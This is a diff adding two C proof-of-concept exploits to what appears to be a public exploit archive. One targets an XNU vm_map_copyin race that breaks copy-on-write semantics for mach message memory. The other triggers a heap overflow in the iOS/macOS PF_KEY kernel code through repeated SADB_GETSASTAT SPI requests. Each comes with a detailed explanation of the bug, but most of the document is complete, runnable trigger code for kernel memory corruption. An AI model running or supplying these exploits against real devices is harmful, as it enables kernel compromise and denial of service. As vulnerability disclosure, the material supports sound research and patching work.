+++ b/exploits/multiple/dos/46299.c @@ -0,0 +1,704 @@ +/* +vm_map_copyin_internal in vm_map.c converts a region of a vm_map into "copied in" form, constructing a vm_map_copy +structure representing the copied memory which can then be mapped into another vm_map (or the same one.) + +The function contains a while loop which walks through each of the vm_map_entry structures which make up the +region to be copied and tries to append a "copy" of each in turn to a vm_map_copy structure. + +Under certain circumstances the copy operation can be optimized, here's a code snippet describing one such optimization: + + + // Attempt non-blocking copy-on-write optimizations. + + + if (src_destroy && + (src_object == VM_OBJECT_NULL || + (src_object->internal && + src_object->copy_strategy == MEMORY_OBJECT_COPY_SYMMETRIC && + !map_share))) { + /* + * If we are destroying the source, and the object + * is internal, we can move the object reference + * from the source to the copy. The copy is + * copy-on-write only if the source is. + * We make another reference to the object, because + * destroying the source entry will deallocate it. + + vm_object_reference(src_object); + + /* + * Copy is always unwired. vm_map_copy_entry + * set its wired count to zero. + + + goto CopySuccessful; + + +This optimization will apply if the vm_map_entry represents anonymous memory and the semantics of the copy +will cause that memory to be deallocated from the source map. In this case, as the comment describes, we can just +"move" the entry to the target map. + +The issue is that this move is not performed atomically - the vm_map_entry which we want to move will only be removed +from the source map after we have copied all the entries representing the region we want to copy and the while(true) loop +is done: + + } // end while(true) + + /* + * If the source should be destroyed, do it now, since the + * copy was successful. + + if (src_destroy) { + (void) vm_map_delete( + src_map, + vm_map_trunc_page(src_addr, + VM_MAP_PAGE_MASK(src_map)), + src_end, + ((src_map == kernel_map) ? + VM_MAP_REMOVE_KUNWIRE : + VM_MAP_NO_FLAGS), + VM_MAP_NULL); + + +The cause of the lack of atomicity is two-fold: + +Firstly: in the while loop the vm_map's lock gets dropped and retaken: + + /* + * Create a new address map entry to hold the result. + * Fill in the fields from the appropriate source entries. + * We must unlock the source map to do this if we need + * to allocate a map entry. + + if (new_entry == VM_MAP_ENTRY_NULL) { + version.main_timestamp = src_map->timestamp; + vm_map_unlock(src_map); + + new_entry = vm_map_copy_entry_create(copy, !copy->cpy_hdr.entries_pageable); + + vm_map_lock(src_map); + if ((version.main_timestamp + 1) != src_map->timestamp) { + if (!vm_map_lookup_entry(src_map, src_start, + &tmp_entry)) { + RETURN(KERN_INVALID_ADDRESS); + } + if (!tmp_entry->is_sub_map) + vm_map_clip_start(src_map, tmp_entry, src_start); + continue; /* restart w/ new tmp_entry + } + } + +Here, each time they allocate a new entry structure they have to drop and retake the lock. +Secondly: the check and bailout there aren't sufficient to ensure atomicity of the "entry move" optimization: + +The check "if ((version.main_timestamp + 1) != src_map->timestamp) {" tries to detect whether another thread +took the lock while we dropped it; if it did then they try to bailout and lookup the entry again. + +The problem is that just checking whether there is still an entry covering the address we're currently trying to +copy isn't sufficient, since the continue statement just goes back up to the start of the while loop. It doesn't +invalidate all the entries we've already appended to the vm_map_copy, even though while we had dropped the lock +another thread could have come in and also started an "optimized entry move" for the same entry that we're in the process +of moving. + +Note that this lock dropping and reacquiring pattern seems quite pervasive; this isn't the only place in the code where this +happens; a proper fix for such issues will require some refactoring. + +This PoC demonstrates the issue by sending two mach messages in parallel, one to ourselves and one to our parent process. + +Those messages contain out-of-line regions built up of alternating memory object mappings and anonymous memory: + + _ _ _ _ _ _ _ _ _ _ _ _ + <................../..> \ + < { > } + < +---+---+---+---{--->---+---+---+---+---+ } + < | A | O | A | O { A > O | A | O | A | O | } + < +---+---+---+---{--->---+---+---+---+---+ } + <.................{...> } + ^ \_ _ _ _ _ _ _ _ _ _ _ _/ + | ^ + OOL desc for msg_a | + OOL desc for msg_b + + +The two messages overlap by one anonymous memory entry, appearing at the end of msg_a and the start of msg_b. The locking issue +means that if we win the race this entry will have the move optimization applied twice, leading to it appearing in two vm_map_copys. + +If we then send one of those copies to another process and receive one ourselves we will retain the ability to write +to the underlying page while the other process is reading it, without causing COW copies. + +This violates the semantics of mach message OOL memory, and leads to TOCTOU issues which can lead to memory corruption. + +PoC tested on MacOS 10.14.1 (18B75) +*/ + +// @i41nbeer + +// XNU vm_map_copy optimization which requires atomicity isn't atomic + +#if 0 +vm_map_copyin_internal in vm_map.c converts a region of a vm_map into "copied in" form, constructing a vm_map_copy +structure representing the copied memory which can then be mapped into another vm_map (or the same one.) + +The function contains a while loop which walks through each of the vm_map_entry structures which make up the +region to be copied and tries to append a "copy" of each in turn to a vm_map_copy structure. + +Under certain circumstances the copy operation can be optimized, here's a code snippet describing one such optimization: + + /* + * Attempt non-blocking copy-on-write optimizations. + */ + + if (src_destroy && + (src_object == VM_OBJECT_NULL || + (src_object->internal && + src_object->copy_strategy == MEMORY_OBJECT_COPY_SYMMETRIC && + !map_share))) { + /* + * If we are destroying the source, and the object + * is internal, we can move the object reference + * from the source to the copy. The copy is + * copy-on-write only if the source is. + * We make another reference to the object, because + * destroying the source entry will deallocate it. + */ + vm_object_reference(src_object); + + /* + * Copy is always unwired. vm_map_copy_entry + * set its wired count to zero. + */ + + goto CopySuccessful; + + +This optimization will apply if the vm_map_entry represents anonymous memory and the semantics of the copy +will cause that memory to be deallocated from the source map. In this case, as the comment describes, we can just +"move" the entry to the target map. + +The issue is that this move is not performed atomically - the vm_map_entry which we want to move will only be removed +from the source map after we have copied all the entries representing the region we want to copy and the while(true) loop +is done: + + } // end while(true) + + /* + * If the source should be destroyed, do it now, since the + * copy was successful. + */ + if (src_destroy) { + (void) vm_map_delete( + src_map, + vm_map_trunc_page(src_addr, + VM_MAP_PAGE_MASK(src_map)), + src_end, + ((src_map == kernel_map) ? + VM_MAP_REMOVE_KUNWIRE : + VM_MAP_NO_FLAGS), + VM_MAP_NULL); + + +The cause of the lack of atomicity is two-fold: + +Firstly: in the while loop the vm_map's lock gets dropped and retaken: + + /* + * Create a new address map entry to hold the result. + * Fill in the fields from the appropriate source entries. + * We must unlock the source map to do this if we need + * to allocate a map entry. + */ + if (new_entry == VM_MAP_ENTRY_NULL) { + version.main_timestamp = src_map->timestamp; + vm_map_unlock(src_map); + + new_entry = vm_map_copy_entry_create(copy, !copy->cpy_hdr.entries_pageable); + + vm_map_lock(src_map); + if ((version.main_timestamp + 1) != src_map->timestamp) { + if (!vm_map_lookup_entry(src_map, src_start, + &tmp_entry)) { + RETURN(KERN_INVALID_ADDRESS); + } + if (!tmp_entry->is_sub_map) + vm_map_clip_start(src_map, tmp_entry, src_start); + continue; /* restart w/ new tmp_entry */ + } + } + +Here, each time they allocate a new entry structure they have to drop and retake the lock. + +Secondly: the check and bailout there aren't sufficient to ensure atomicity of the "entry move" optimization: + +The check "if ((version.main_timestamp + 1) != src_map->timestamp) {" tries to detect whether another thread +took the lock while we dropped it; if it did then they try to bailout and lookup the entry again. + +The problem is that just checking whether there is still an entry covering the address we're currently trying to +copy isn't sufficient, since the continue statement just goes back up to the start of the while loop. It doesn't +invalidate all the entries we've already appended to the vm_map_copy, even though while we had dropped the lock +another thread could have come in and also started an "optimized entry move" for the same entry that we're in the process +of moving. + +Note that this lock dropping and reacquiring pattern seems quite pervasive; this isn't the only place in the code where this +happens; a proper fix for such issues will require some refactoring. + +This PoC demonstrates the issue by sending two mach messages in parallel, one to ourselves and one to our parent process. + +Those messages contain out-of-line regions built up of alternating memory object mappings and anonymous memory: + + _ _ _ _ _ _ _ _ _ _ _ _ + <................../..> \ + < { > } + < +---+---+---+---{--->---+---+---+---+---+ } + < | A | O | A | O { A > O | A | O | A | O | } + < +---+---+---+---{--->---+---+---+---+---+ } + <.................{...> } + ^ \_ _ _ _ _ _ _ _ _ _ _ _/ + | ^ + OOL desc for msg_a | + OOL desc for msg_b + + +The two messages overlap by one anonymous memory entry, appearing at the end of msg_a and the start of msg_b. The locking issue +means that if we win the race this entry will have the move optimization applied twice, leading to it appearing in two vm_map_copys. + +If we then send one of those copies to another process and receive one ourselves we will retain the ability to write +to the underlying page while the other process is reading it, without causing COW copies. + +This violates the semantics of mach message OOL memory, and leads to TOCTOU issues which can lead to memory corruption. + +PoC tested on MacOS 10.14.1 (18B75) + +#endif + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include + +#define MACH_ERR(str, err) do { \ + if (err != KERN_SUCCESS) { \ + mach_error("[-]" str "\n", err); \ + exit(EXIT_FAILURE); \ + } \ +} while(0) + +#define FAIL(str) do { \ + printf("[-] " str "\n"); \ + exit(EXIT_FAILURE); \ +} while (0) + +#define LOG(str) do { \ + printf("[+] " str"\n"); \ +} while (0) + +/*************** + * port dancer * + ***************/ + +// set up a shared mach port pair from a child process back to its parent without using launchd +// based on the idea outlined by Robert Sesek here: https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html + +// mach message for sending a port right +typedef struct { + mach_msg_header_t header; + mach_msg_body_t body; + mach_msg_port_descriptor_t port; +} port_msg_send_t; + +// mach message for receiving a port right +typedef struct { + mach_msg_header_t header; + mach_msg_body_t body; + mach_msg_port_descriptor_t port; + mach_msg_trailer_t trailer; +} port_msg_rcv_t; + +typedef struct { + mach_msg_header_t header; +} simple_msg_send_t; + +typedef struct { + mach_msg_header_t header; + mach_msg_trailer_t trailer; +} simple_msg_rcv_t; + +#define STOLEN_SPECIAL_PORT TASK_BOOTSTRAP_PORT + +// a copy in the parent of the stolen special port such that it can be restored +mach_port_t saved_special_port = MACH_PORT_NULL; + +// the shared port right in the parent +mach_port_t shared_port_parent = MACH_PORT_NULL; + +void setup_shared_port() { + kern_return_t err; + // get a send right to the port we're going to overwrite so that we can both + // restore it for ourselves and send it to our child + err = task_get_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, &saved_special_port); + MACH_ERR("saving original special port value", err); + + // allocate the shared port we want our child to have a send right to + err = mach_port_allocate(mach_task_self(), + MACH_PORT_RIGHT_RECEIVE, + &shared_port_parent); + + MACH_ERR("allocating shared port", err); + + // insert the send right + err = mach_port_insert_right(mach_task_self(), + shared_port_parent, + shared_port_parent, + MACH_MSG_TYPE_MAKE_SEND); + MACH_ERR("inserting MAKE_SEND into shared port", err); + + // stash the port in the STOLEN_SPECIAL_PORT slot such that the send right survives the fork + err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, shared_port_parent); + MACH_ERR("setting special port", err); +} + +mach_port_t recover_shared_port_child() { + kern_return_t err; + + // grab the shared port which our parent stashed somewhere in the special ports + mach_port_t shared_port_child = MACH_PORT_NULL; + err = task_get_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, &shared_port_child); + MACH_ERR("child getting stashed port", err); + + LOG("child got stashed port"); + + // say hello to our parent and send a reply port so it can send us back the special port to restore + + // allocate a reply port + mach_port_t reply_port; + err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port); + MACH_ERR("child allocating reply port", err); + + // send the reply port in a hello message + simple_msg_send_t msg = {0}; + + msg.header.msgh_size = sizeof(msg); + msg.header.msgh_local_port = reply_port; + msg.header.msgh_remote_port = shared_port_child; + + msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE); + + err = mach_msg_send(&msg.header); + MACH_ERR("child sending task port message", err); + + LOG("child sent hello message to parent over shared port"); + + // wait for a message on the reply port containing the stolen port to restore + port_msg_rcv_t stolen_port_msg = {0}; + err = mach_msg(&stolen_port_msg.header, MACH_RCV_MSG, 0, sizeof(stolen_port_msg), reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); + MACH_ERR("child receiving stolen port\n", err); + + // extract the port right from the message + mach_port_t stolen_port_to_restore = stolen_port_msg.port.name; + if (stolen_port_to_restore == MACH_PORT_NULL) { + FAIL("child received invalid stolen port to restore"); + } + + // restore the special port for the child + err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, stolen_port_to_restore); + MACH_ERR("child restoring special port", err); + + LOG("child restored stolen port"); + return shared_port_child; +} + +mach_port_t recover_shared_port_parent() { + kern_return_t err; + + // restore the special port for ourselves + err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, saved_special_port); + MACH_ERR("parent restoring special port", err); + + // wait for a message from the child on the shared port + simple_msg_rcv_t msg = {0}; + err = mach_msg(&msg.header, + MACH_RCV_MSG, + 0, + sizeof(msg), + shared_port_parent, + MACH_MSG_TIMEOUT_NONE, + MACH_PORT_NULL); + MACH_ERR("parent receiving child hello message", err); + + LOG("parent received hello message from child"); + + // send the special port to our child over the hello message's reply port + port_msg_send_t special_port_msg = {0}; + + special_port_msg.header.msgh_size = sizeof(special_port_msg); + special_port_msg.header.msgh_local_port = MACH_PORT_NULL; + special_port_msg.header.msgh_remote_port = msg.header.msgh_remote_port; + special_port_msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REMOTE(msg.header.msgh_bits), 0) | MACH_MSGH_BITS_COMPLEX; + special_port_msg.body.msgh_descriptor_count = 1; + + special_port_msg.port.name = saved_special_port; + special_port_msg.port.disposition = MACH_MSG_TYPE_COPY_SEND; + special_port_msg.port.type = MACH_MSG_PORT_DESCRIPTOR; + + err = mach_msg_send(&special_port_msg.header); + MACH_ERR("parent sending special port back to child", err); + + return shared_port_parent; +} + +/*** end of port dancer code ***/ + +#define UNIT_SIZE 0x8000 + +struct send_msg { + mach_msg_header_t hdr; + mach_msg_body_t body; + mach_msg_ool_descriptor_t desc; +}; + +struct rcv_msg { + mach_msg_header_t hdr; + mach_msg_body_t body; + mach_msg_ool_descriptor_t desc; + mach_msg_trailer_t trailer; +}; + +volatile int lock_a; +volatile int lock_b; + +void* thread_func(void* arg) { + lock_a = 1; + while(lock_b == 0) {;} + kern_return_t err = mach_msg_send((mach_msg_header_t*)arg); + return (void*) err; +} + + +void do_child(mach_port_t shared_port) { + uint32_t n_pairs = 32; + uint32_t offset = 8; + // allocate a memory object which we can use for the alternating object entries: + memory_object_size_t obj_size = n_pairs * UNIT_SIZE; + + printf("allocating 0x%llx byte memory entry for alternating entries\n", obj_size); + + void* obj_buf = NULL; + kern_return_t err = mach_vm_allocate(mach_task_self(), + (mach_vm_address_t*)&obj_buf, + obj_size, + VM_FLAGS_ANYWHERE); + + memset(obj_buf, 'A', obj_size); + + mach_port_t mem_port = MACH_PORT_NULL; + err = mach_make_memory_entry_64(mach_task_self(), + (memory_object_size_t*)&obj_size, + (memory_object_offset_t)obj_buf, + VM_PROT_DEFAULT, + &mem_port, + MACH_PORT_NULL); + if (err != KERN_SUCCESS) { + printf("failed to make memory entry\n"); + return; + } + + mach_vm_address_t target_buffer_base = 0x414100000000; + mach_vm_address_t addr = target_buffer_base; + for (uint32_t i = 0; i < n_pairs; i++) { + // first element of the pair is an anonymous page: + err = mach_vm_allocate(mach_task_self(), + &addr, + UNIT_SIZE, + VM_FLAGS_FIXED); + + if (err != KERN_SUCCESS) { + printf("mach_vm_allocate with VM_MAP_FIXED failed: %x %s\n", err, mach_error_string(err)); + return; + } + + memset((void*)addr, 'B', UNIT_SIZE); + + addr += UNIT_SIZE; + + // second element is a page from the memory entry + err = mach_vm_map(mach_task_self(), + &addr, // &address + (mach_vm_size_t)UNIT_SIZE, // size + 0xfff, // mask + VM_FLAGS_FIXED, // flags + mem_port, // object + (mach_vm_offset_t)(i*UNIT_SIZE), // offset + 0, // copy + 3, // cur_prot + 3, // max_prot + 2);// inheritance + + if (err != KERN_SUCCESS) { + printf("failed to mach_vm_map a page from the memory object: %x %s\n", err, mach_error_string(err)); + return; + } + + addr += UNIT_SIZE; + } + + + // split this thing in to two overlapping OOL regions: + // offset is the n'th anonymous region which should be at the end of the OOL region of msg_a + // and also at the start of the OOL region of msg_b + + // we'll send a to ourselves, and b to the other process + + uint32_t msg_a_size = UNIT_SIZE + (2 * offset * UNIT_SIZE); + uint8_t* msg_a_buf = (void*)target_buffer_base; + + uint8_t* msg_b_buf = (uint8_t*)(target_buffer_base + msg_a_size - UNIT_SIZE); + uint32_t msg_b_size = (n_pairs * 2 * UNIT_SIZE) - msg_a_size + UNIT_SIZE; + + printf("msg_a %p %x\n", msg_a_buf, msg_a_size); + printf("msg_b %p %x\n", msg_b_buf, msg_b_size); + + mach_port_t msg_a_port = MACH_PORT_NULL; + err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &msg_a_port); + if (err != KERN_SUCCESS) { + printf("mach_port_allocate failed: %x %s\n", err, mach_error_string(err)); + return; + } + + struct send_msg msg_a = {}; + struct send_msg msg_b = {}; + + // message a + msg_a.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND, 0, 0, 0) | MACH_MSGH_BITS_COMPLEX; + msg_a.hdr.msgh_size = sizeof(struct send_msg); + msg_a.hdr.msgh_remote_port = msg_a_port; + msg_a.hdr.msgh_local_port = MACH_PORT_NULL; + msg_a.hdr.msgh_voucher_port = MACH_PORT_NULL; + msg_a.hdr.msgh_id = 0x41424344; + + msg_a.body.msgh_descriptor_count = 1; + + msg_a.desc.type = MACH_MSG_OOL_DESCRIPTOR; + msg_a.desc.copy = MACH_MSG_VIRTUAL_COPY; + msg_a.desc.deallocate = 1; + msg_a.desc.address = msg_a_buf; + msg_a.desc.size = msg_a_size; + + // message b + msg_b.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, 0) | MACH_MSGH_BITS_COMPLEX; + msg_b.hdr.msgh_size = sizeof(struct send_msg); + msg_b.hdr.msgh_remote_port = shared_port; + msg_b.hdr.msgh_local_port = MACH_PORT_NULL; + msg_b.hdr.msgh_voucher_port = MACH_PORT_NULL; + msg_b.hdr.msgh_id = 0x41424344; + + msg_b.body.msgh_descriptor_count = 1; + + msg_b.desc.type = MACH_MSG_OOL_DESCRIPTOR; + msg_b.desc.copy = MACH_MSG_VIRTUAL_COPY; + msg_b.desc.deallocate = 1; + msg_b.desc.address = msg_b_buf; + msg_b.desc.size = msg_b_size; + + // try sending them in parallel; + // need a thread we can try to sync with: + lock_a = 0; + lock_b = 0; + + pthread_t th; + pthread_create(&th, NULL, thread_func, (void*)&msg_a); + + while(lock_a == 0){;} + lock_b = 1; + + kern_return_t msg_b_err = mach_msg_send(&msg_b.hdr); + + void* remote_retval = 0; + pthread_join(th, &remote_retval); + kern_return_t msg_a_err = (kern_return_t)remote_retval; + + printf("msg_a send: %x %s\n", msg_a_err, mach_error_string(msg_a_err)); + printf("msg_b send: %x %s\n", msg_b_err, mach_error_string(msg_b_err)); + + struct rcv_msg rcv_msg_a = {0}; + + if (msg_a_err == KERN_SUCCESS) { + rcv_msg_a.hdr.msgh_local_port = msg_a_port; + rcv_msg_a.hdr.msgh_size = sizeof(struct rcv_msg); + err = mach_msg_receive(&rcv_msg_a.hdr); + if (err != KERN_SUCCESS) { + printf("mach_msg_receive failed for msg_a_port: %x %s\n", err, mach_error_string(err)); + } + } + + printf("dual send success!\n"); + char* rcv_a_addr = rcv_msg_a.desc.address; + uint32_t rcv_a_size = rcv_msg_a.desc.size; + + printf("a: %p %x\n", rcv_a_addr, rcv_a_size); + + volatile char* rcv_a_char_addr = rcv_a_addr + (rcv_a_size - 1); + + + printf("rcv_a_char_addr: %p\n", rcv_a_char_addr); + + while (1) { + *rcv_a_char_addr = 'X'; + *rcv_a_char_addr = 'O'; + } +} + +void do_parent(mach_port_t shared_port) { + kern_return_t err; + + // wait for our child to send us an OOL message + struct rcv_msg msg = {0}; + msg.hdr.msgh_local_port = shared_port; + msg.hdr.msgh_size = sizeof(msg); + err = mach_msg_receive(&msg.hdr); + MACH_ERR("parent receiving child OOL message", err); + + char* rcv_b_addr = msg.desc.address; + volatile char* rcv_b_char_addr = rcv_b_addr + (UNIT_SIZE-1); + + printf("rcv_a_char_addr: %p\n", rcv_b_char_addr); + + while(1) { + printf("parent sees in OOL desc: %c\n", *rcv_b_char_addr); + usleep(100000); + } +} + +int main(int argc, char** argv) { + setup_shared_port(); + + pid_t child_pid = fork(); + if (child_pid == -1) { + FAIL("forking"); + } + + if (child_pid == 0) { + mach_port_t shared_port_child = recover_shared_port_child(); + do_child(shared_port_child); + } else { + mach_port_t shared_port_parent = recover_shared_port_parent(); + do_parent(shared_port_parent); + } + + kill(child_pid, 9); + int status; + wait(&status); + + return 0; +} \ No newline at end of file diff --git a/exploits/multiple/dos/46300.c b/exploits/multiple/dos/46300.c new file mode 100644 index 000000000..11977d2cc --- /dev/null +++ b/exploits/multiple/dos/46300.c @@ -0,0 +1,351 @@ +/* +Inspired by Ned Williamsons's fuzzer I took a look at the netkey code. + +key_getsastat handles SADB_GETSASTAT messages: + +It allocates a buffer based on the number of SAs there currently are: + + bufsize = (ipsec_sav_count + 1) * sizeof(*sa_stats_sav); + + KMALLOC_WAIT(sa_stats_sav, __typeof__(sa_stats_sav), bufsize); + +It the retrieves the list of SPIs we are querying for, and the length of that list: + + sa_stats_arg = (__typeof__(sa_stats_arg))(void *)mhp->ext[SADB_EXT_SASTAT]; + + arg_count = sa_stats_arg->sadb_sastat_list_len; + + // exit early if there are no requested SAs + if (arg_count == 0) { + printf("%s: No SAs requested.\n", __FUNCTION__); + error = ENOENT; + goto end; + } + res_count = 0; + +It passes those, and the allocated buffer, to key_getsastatbyspi: + + if (key_getsastatbyspi((struct sastat *)(sa_stats_arg + 1), + arg_count, + sa_stats_sav, + &res_count)) { + +The is immediately suspicious because we're passing the sa_stats_sav buffer in, but not its length... + +Looking at key_getsastatbyspi: + + static int + key_getsastatbyspi (struct sastat *stat_arg, + u_int32_t max_stat_arg, + struct sastat *stat_res, + u_int32_t *max_stat_res) + { + int cur, found = 0; + + if (stat_arg == NULL || + stat_res == NULL || + max_stat_res == NULL) { + return -1; + } + + for (cur = 0; cur < max_stat_arg; cur++) { + if (key_getsastatbyspi_one(stat_arg[cur].spi, + &stat_res[found]) == 0) { + found++; + } + } + *max_stat_res = found; + + if (found) { + return 0; + } + return -1; + } + +Indeed, each time a spi match is found we increment found and can go past the end of the stat_res buffer. + +Triggering this requires you to load a valid SA with a known SPI (here 0x41414141) then send a SADB_GETSASTAT +containing multiple requests for that same, valid SPI. + +Tested on MacOS 10.14.2 (18C54) +*/ + +// @i41nbeer + +#if 0 +iOS/MacOS kernel heap overflow in PF_KEY due to lack of bounds checking when retrieving statistics + +Inspired by Ned Williamsons's fuzzer I took a look at the netkey code. + +key_getsastat handles SADB_GETSASTAT messages: + +It allocates a buffer based on the number of SAs there currently are: + + bufsize = (ipsec_sav_count + 1) * sizeof(*sa_stats_sav); + + KMALLOC_WAIT(sa_stats_sav, __typeof__(sa_stats_sav), bufsize); + +It the retrieves the list of SPIs we are querying for, and the length of that list: + + sa_stats_arg = (__typeof__(sa_stats_arg))(void *)mhp->ext[SADB_EXT_SASTAT]; + + arg_count = sa_stats_arg->sadb_sastat_list_len; + + // exit early if there are no requested SAs + if (arg_count == 0) { + printf("%s: No SAs requested.\n", __FUNCTION__); + error = ENOENT; + goto end; + } + res_count = 0; + +It passes those, and the allocated buffer, to key_getsastatbyspi: + + if (key_getsastatbyspi((struct sastat *)(sa_stats_arg + 1), + arg_count, + sa_stats_sav, + &res_count)) { + +The is immediately suspicious because we're passing the sa_stats_sav buffer in, but not its length... + +Looking at key_getsastatbyspi: + + static int + key_getsastatbyspi (struct sastat *stat_arg, + u_int32_t max_stat_arg, + struct sastat *stat_res, + u_int32_t *max_stat_res) + { + int cur, found = 0; + + if (stat_arg == NULL || + stat_res == NULL || + max_stat_res == NULL) { + return -1; + } + + for (cur = 0; cur < max_stat_arg; cur++) { + if (key_getsastatbyspi_one(stat_arg[cur].spi, + &stat_res[found]) == 0) { + found++; + } + } + *max_stat_res = found; + + if (found) { + return 0; + } + return -1; + } + +Indeed, each time a spi match is found we increment found and can go past the end of the stat_res buffer. + +Triggering this requires you to load a valid SA with a known SPI (here 0x41414141) then send a SADB_GETSASTAT +containing multiple requests for that same, valid SPI. + +Tested on MacOS 10.14.2 (18C54) +#endif + +#include +#include +#include +#include + +#include +#include +#include +#include +#include + +#if 0 +struct sadb_msg { + u_int8_t sadb_msg_version; + u_int8_t sadb_msg_type; + u_int8_t sadb_msg_errno; + u_int8_t sadb_msg_satype; + u_int16_t sadb_msg_len; // in 8-byte units + u_int16_t sadb_msg_reserved; + u_int32_t sadb_msg_seq; + u_int32_t sadb_msg_pid; +}; + +// extenstion header + +struct sadb_ext { + u_int16_t sadb_ext_len; // 8-byte units + u_int16_t sadb_ext_type; +}; + +// SADB_EXT_SA + +struct sadb_sa { + u_int16_t sadb_sa_len; + u_int16_t sadb_sa_exttype; + u_int32_t sadb_sa_spi; + u_int8_t sadb_sa_replay; + u_int8_t sadb_sa_state; + u_int8_t sadb_sa_auth; + u_int8_t sadb_sa_encrypt; + u_int32_t sadb_sa_flags; +}; + +// SADB_EXT_ADDRESS_SRC/DST +// is this variable sized? + +struct sadb_address { + u_int16_t sadb_address_len; + u_int16_t sadb_address_exttype; + u_int8_t sadb_address_proto; + u_int8_t sadb_address_prefixlen; + u_int16_t sadb_address_reserved; +}; + +// SADB_EXT_KEY_AUTH header + +struct sadb_key { + u_int16_t sadb_key_len; + u_int16_t sadb_key_exttype; + u_int16_t sadb_key_bits; // >> 3 -> bzero + u_int16_t sadb_key_reserved; +}; + +// SADB_EXT_SASTAT + +struct sadb_sastat { + u_int16_t sadb_sastat_len; + u_int16_t sadb_sastat_exttype; + u_int32_t sadb_sastat_dir; + u_int32_t sadb_sastat_reserved; + u_int32_t sadb_sastat_list_len; + /* list of struct sastat comes after */ +} __attribute__ ((aligned(8))); + +struct sastat { + u_int32_t spi; /* SPI Value, network byte order */ + u_int32_t created; /* for lifetime */ + struct sadb_lifetime lft_c; /* CURRENT lifetime. */ +}; // no need to align + +#endif + + +struct my_msg { + struct sadb_msg hdr; + + // required options + struct sadb_sa sa; // SADB_EXT_SA + + struct sadb_address address_src; // SADB_EXT_ADDRESS_SRC + struct sockaddr_in sockaddr_src; // 0x10 bytes + struct sadb_address address_dst; // SADB_EXT_ADDRESS_DST + struct sockaddr_in sockaddr_dst; // 0x10 bytes + + struct sadb_key key; + char key_material[128/8]; +}; + +#define N_LIST_ENTRIES 32 +struct stat_msg { + struct sadb_msg hdr; + struct sadb_session_id sid; + struct sadb_sastat stat; + struct sastat list[N_LIST_ENTRIES]; +}; + +int main() { + // get a PF_KEY socket: + int fd = socket(PF_KEY, SOCK_RAW, PF_KEY_V2); + if (fd == -1) { + perror("failed to get PF_KEY socket, got privs?"); + return 0; + } + + printf("got PF_KEY socket: %d\n", fd); + + struct my_msg* msg = malloc(sizeof(struct my_msg)); + memset(msg, 0, sizeof(struct my_msg)); + + msg->hdr.sadb_msg_version = PF_KEY_V2; + msg->hdr.sadb_msg_type = SADB_ADD; + + msg->hdr.sadb_msg_satype = SADB_SATYPE_AH; + + msg->hdr.sadb_msg_len = sizeof(struct my_msg) >> 3; + msg->hdr.sadb_msg_pid = getpid(); + + // SADB_EXT_SA + msg->sa.sadb_sa_len = sizeof(msg->sa) >> 3; + msg->sa.sadb_sa_exttype = SADB_EXT_SA; + + // we need to fill in the fields correctly as we need at least one valid key + msg->sa.sadb_sa_spi = 0x41414141; + + msg->sa.sadb_sa_auth = SADB_AALG_MD5HMAC; // sav->alg_auth, which alg + // -> 128 bit key size + + // SADB_EXT_ADDRESS_SRC + msg->address_src.sadb_address_len = (sizeof(msg->address_src) + sizeof(msg->sockaddr_src)) >> 3; + msg->address_src.sadb_address_exttype = SADB_EXT_ADDRESS_SRC; + + msg->sockaddr_src.sin_len = 0x10; + msg->sockaddr_src.sin_family = AF_INET; + msg->sockaddr_src.sin_port = 4141; + inet_pton(AF_INET, "10.10.10.10", &msg->sockaddr_src.sin_addr); + + + // SADB_EXT_ADDRESS_DST + msg->address_dst.sadb_address_len = (sizeof(msg->address_dst) + sizeof(msg->sockaddr_dst)) >> 3; + msg->address_dst.sadb_address_exttype = SADB_EXT_ADDRESS_DST; + + msg->sockaddr_dst.sin_len = 0x10; + msg->sockaddr_dst.sin_family = AF_INET; + msg->sockaddr_dst.sin_port = 4242; + inet_pton(AF_INET, "10.10.10.10", &msg->sockaddr_dst.sin_addr); + + msg->key.sadb_key_exttype = SADB_EXT_KEY_AUTH; + msg->key.sadb_key_len = (sizeof(struct sadb_key) + sizeof(msg->key_material)) >> 3; + msg->key.sadb_key_bits = 128; + + size_t amount_to_send = msg->hdr.sadb_msg_len << 3; + printf("trying to write %zd bytes\n", amount_to_send); + ssize_t written = write(fd, msg, amount_to_send); + printf("written: %zd\n", written); + + + + struct stat_msg * smsg = malloc(sizeof(struct stat_msg)); + memset(smsg, 0, sizeof(struct stat_msg)); + + smsg->hdr.sadb_msg_version = PF_KEY_V2; + smsg->hdr.sadb_msg_type = SADB_GETSASTAT; + + smsg->hdr.sadb_msg_satype = SADB_SATYPE_AH; + + smsg->hdr.sadb_msg_len = sizeof(struct stat_msg) >> 3; + smsg->hdr.sadb_msg_pid = getpid(); + + // SADB_EXT_SESSION_ID + smsg->sid.sadb_session_id_len = sizeof(struct sadb_session_id) >> 3; + smsg->sid.sadb_session_id_exttype = SADB_EXT_SESSION_ID; + + // SADB_EXT_SASTAT + smsg->stat.sadb_sastat_len = (sizeof(struct sadb_sastat) + sizeof(smsg->list)) >> 3; + smsg->stat.sadb_sastat_exttype = SADB_EXT_SASTAT; + + smsg->stat.sadb_sastat_list_len = N_LIST_ENTRIES; + + for (int i = 0; i < N_LIST_ENTRIES; i++) { + smsg->list[i].spi = 0x41414141; + } + + + amount_to_send = smsg->hdr.sadb_msg_len << 3; + printf("trying to write %zd bytes\n", amount_to_send); + written = write(fd, smsg, amount_to_send); + printf("written: %zd\n", written); + + + + + return 0; +} \ No newline at end of file diff --git a/exploits/windows/dos/46289.py b/exploits/windows/dos/46289.py new file mode 100755 index 000000000..1526a50c6 --- /dev/null +++ b/exploits/windows/dos/46289.py 